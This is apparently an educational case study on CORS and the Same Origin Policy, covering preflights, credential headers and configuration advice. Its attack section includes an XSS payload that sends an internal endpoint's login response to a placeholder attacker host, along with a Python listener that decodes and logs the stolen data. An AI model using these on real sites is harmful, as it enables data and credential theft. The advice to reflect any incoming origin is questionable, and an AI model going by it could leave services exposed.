Case Study - Cors Security and Attacks
intro
Cross-Origin Resource Sharing (CORS) is often a confusing concept for software professionals and sometimes even security professionals. Imaging that we have two sites: S1 and S2. S1 has some code that can read (i.e HTTP GET) from S2. This doesn’t sound problemetic, or does it? But what if S1 can read your personal profile on S2?
S1 should not be allowed to read everything from S2 obviously, there are something that should be protected with a session cookie or token. But what if some kind of cookie or token can be sent form S1 to S2? If that the case, what’s preventing a random malicioud S3 from requesting your cookie as well? Very quickly, the situation becomes confusing.
In this case study, we’ll discuss some kep concepts/aspect regarding Single Origin Policy (SOP) and Cross-Origin Resource Sharing (CORS).
Same Origin Policy
An origin is defined by protocol, host, and port (e.g http://host:port). SOP is a critical security mechanism that restricts how a resource loaded from one origin can interact with a resource loaded from another origin.
Cross-origin scenarios
SOP controls the interactions between two different origins. There are 3 common cateogires:
- Cross-origin writes are typically allowed. e.g, you can POST from Site A to Site B.
- To prevent arbitrary cross-origin writes, a csrf token can be used to ensure the page that contains the token is not cross-origin readable. Without knowing the csrf token, server side won’t accept any arbitrary writes.
- Cross-origin embedding is typically allowed. e.g, you can embed an image from Site B in Site A.
- To prevent a resource from being embeddable, ensure it cannot be interpreted as an embeddable format.
- Cross-origin reads are typically disallowed. e.g, you cannot GET Site B content from Site A
- To prevent cross-origin read of a resource, ensure it’s not embeddable. But what if resource sharing is necessary between two sites? There is where CORS comes in handy.
Cross-Origin Resource Sharing
CORS is an HTTP-header based mechanism that allows a server to indicate any origins other than its own from which a browser should permit loading resources. This is typically done via a “preflight” mechanism (i.e sends an OPTIONS request before sending the actual request) to the server to check if it permits the actual request.
An example CORS scenario can be like: S1 sends a GET request S2 for some user data. For security reasons, browsers will prevent the cross-origin request. So, by default, the request from S1 to S2 will fail and responded in the “preflight” including the CORS headers that are needed for the access.
To allow S1 to access S2, S2 server must be configured with the followings in the preflight response:
* Access-Control-Allow-Origin: http://S1 # allows S1 to access
or
* Access-Control-Allow-Origin: * # allows all origins
Let’s discuss an example: preflights will be sent to the server to check the verbs and headers that are allowed. The server will check if a request with the supplied parameters will be allowed. See the example request and response below:
# request preflight
Origin: http://S1/
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-CUSTOM, Content-Type
# response
Access-Control-Allow-Origin: http://S1/
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-CUSTOM, Content-Type
What if credentials need to be sent?
This is not sent by default. In the same scenario where S1 sends a request to S2, credentials are not included by default (e.g cookie), as this is not safe. In many organizations, the use of Access-Control-Allow-Credentials: True
is forbidden for public APIs. In such cases, an authorization token is usually adopted, e.g jwt token.
There are two common scenarios where credentials might be used:
- Simple cross-origin requests that doesn’t require a preflight:
withCredentials = true
(e.g http dom request) allows cross-origin request to include credentials (e.g cookie). In order for this to work, the server side needs to setAccess-Control-Allow-Credentials: true
. Otherwise, the response will be rejected by the browser. - Cross-origin requests that require preflights: in such cases, credentials are not included in the preflight. The preflight-response will return a
Access-Control-Allow-Credentials
header to indicate whether a credential should be included in the actual request.
Cross-origin responses
Upon a cross-origin request, the server will respond with the Access-Control-Allow-Origin
header to indicate the origins allowed. Values can be one of:
*
: all origins allowed<specific-origin>
: only the specified origin is allowednull
: this is not safe because origins such asfile://
,iframe
etc may be used for attacks
Example CORS attack
- Assuming there is a XSS vulnerability on the site
http://<victim-domain>/
, the following code snippet can be used to exfiltrate data from an endpoint/subdomain that’s not directly accessible.
<script>
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if(xmlHttp.readyState == XMLHttpRequest.DONE) {
// send the response to our listening server
var r2 = new XMLHttpRequest();
var rsp = btoa(encodeURIComponent(xmlHttp.responseText));
r2.open("POST", "http://<ip>/", false);
r2.send(rsp);
}
};
xmlHttp.open("POST", "http://<inaccessible-subdomain>.<victim-domain>/auth-endpoint", false);
xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlHttp.send("username=username&password=password");
</script>
A example listening server can be like below
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
import base64
import urllib.parse
class S(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
def do_GET(self):
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self._set_response()
self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))
def do_POST(self):
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
post_data = self.rfile.read(content_length) # <--- Gets the data itself
r = urllib.parse.unquote(base64.b64decode(post_data.decode('utf-8')))
if 'Invalid email or password' not in r:
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str('self.headers'), r)
else:
logging.info("nothing")
self._set_response()
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
def run(server_class=HTTPServer, handler_class=S, port=8080):
logging.basicConfig(level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info('Starting httpd...\n')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
logging.info('Stopping httpd...\n')
if __name__ == '__main__':
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()
Recommendations
Good recommendations for CORS settings if you need them:
- Include CORS headers:
Access-Control-Allow-Origin
,Access-Control-Allow-Headers
Access-Control-Allow-Headers
should includeAuthorization
- Preferrably: specified the allowed origins instead of using
*
- If this is not possible, reflect the incoming origin in
Access-Control-Allow-Origin: <reflected>
and setVary: Origin
- If this is not possible, reflect the incoming origin in
- Never use
Access-Control-Allow-Origin: null
- Never set
Access-Control-Allow-Credentials
totrue